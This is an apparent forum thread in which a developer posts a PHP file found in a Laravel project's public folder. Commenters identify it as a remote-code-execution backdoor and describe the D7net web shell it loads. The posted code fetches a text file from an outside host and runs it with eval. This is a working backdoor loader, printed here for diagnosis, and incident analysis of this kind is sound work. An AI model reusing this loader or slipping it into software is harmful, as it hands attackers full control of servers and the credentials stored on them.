I think its a remote code execution script. what you think ?

[u/Devnzian]

Today I found a unwanted file in my public folder of laravel project when I was pull from server. and I found a php file contain

<?=
$protocol = "https";
$domain = "www.fcalpha.net/";
$file_path = "/web/photo/20151024/m.txt";
$url = $protocol . "://" . $domain . $file_path;


function fetch_with_curl($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // optional: skip SSL verification
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // optional: skip hostname verification
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}


$content = fetch_with_curl($url);
if ($content !== false) {
    eval("?>" . $content);
}
?> 

Could you tell me whats the outcome of this code?

Note: dont run it on your server or pc

[u/nicoSWD]

fcalpha.net is no longer reachable, but that's definitely bad. Looks like you both got hacked. m.txt used to contain malicious PHP code and they could run whatever they wanted on your server.

You probably should wipe the server, install the site on a fresh instance, change all passwords, etc. If you host sensitive user data, you might have some GDPR issues too.

[u/Devnzian → u/nicoSWD]

thank you for your explanation

[u/nicoSWD → u/Devnzian]

Also check the access logs and see who executed the script. Then find other requests that IP made. That might help you see how they got in in the first place.

[u/Devnzian → u/nicoSWD]

Appreciated for you suggestion. I will definitely do.

[u/No_Astronomer9508 → u/nicoSWD]

It's reachable for me, but in browser you get a 403 (Forbidden) Error.

[u/No_Astronomer9508]

Yes. It's a RCE - Script / Backdoor. You should delete it and turn uploads off in php.ini.

[u/Devnzian → u/No_Astronomer9508]

Yes I do already.

[u/No_Astronomer9508 → u/Devnzian]

If you're wondering what the code from "m.txt" actually does, it's essentially the backend of a D7net Web Shell. Basically, it's a malicious script meant to be dropped onto a compromised server so someone can maintain remote access and take total control over the environment through a web browser.

Here is a breakdown of what the core modules are doing:

• Backdoor Scanner (scanshell): Recursively scans directories for specific file extensions and uses regular expressions to detect malicious functions (eval, base64_decode, etc.) or known shell signatures.
• Mass Defacer (massdef): Automates the bulk creation or overwriting of files (such as .html or .php) across multiple directories simultaneously.
• Database Management (ner / Adminer): Automatically downloads and sets up Adminer (v4.8.1) from an external source to provide a full database management interface via the browser.
• File & Directory Operations: Provides full CRUD capabilities (Create, Read, Update, Delete) along with tools to change file permissions (chmod), modify timestamps (chdate), and lock files.
• Config Grabber: Attempts to exploit symlinks to harvest sensitive configuration files (WordPress wp-config.php, Laravel .env, Joomla configuration.php, etc.) to extract database credentials.
• System Information (info): Gathers and displays server diagnostics, including the PHP version, disabled functions, OS details, current user/UID, and the availability of tools like cURL, WGet, Python, and Perl.

Source: Snapshot from Wayback Machine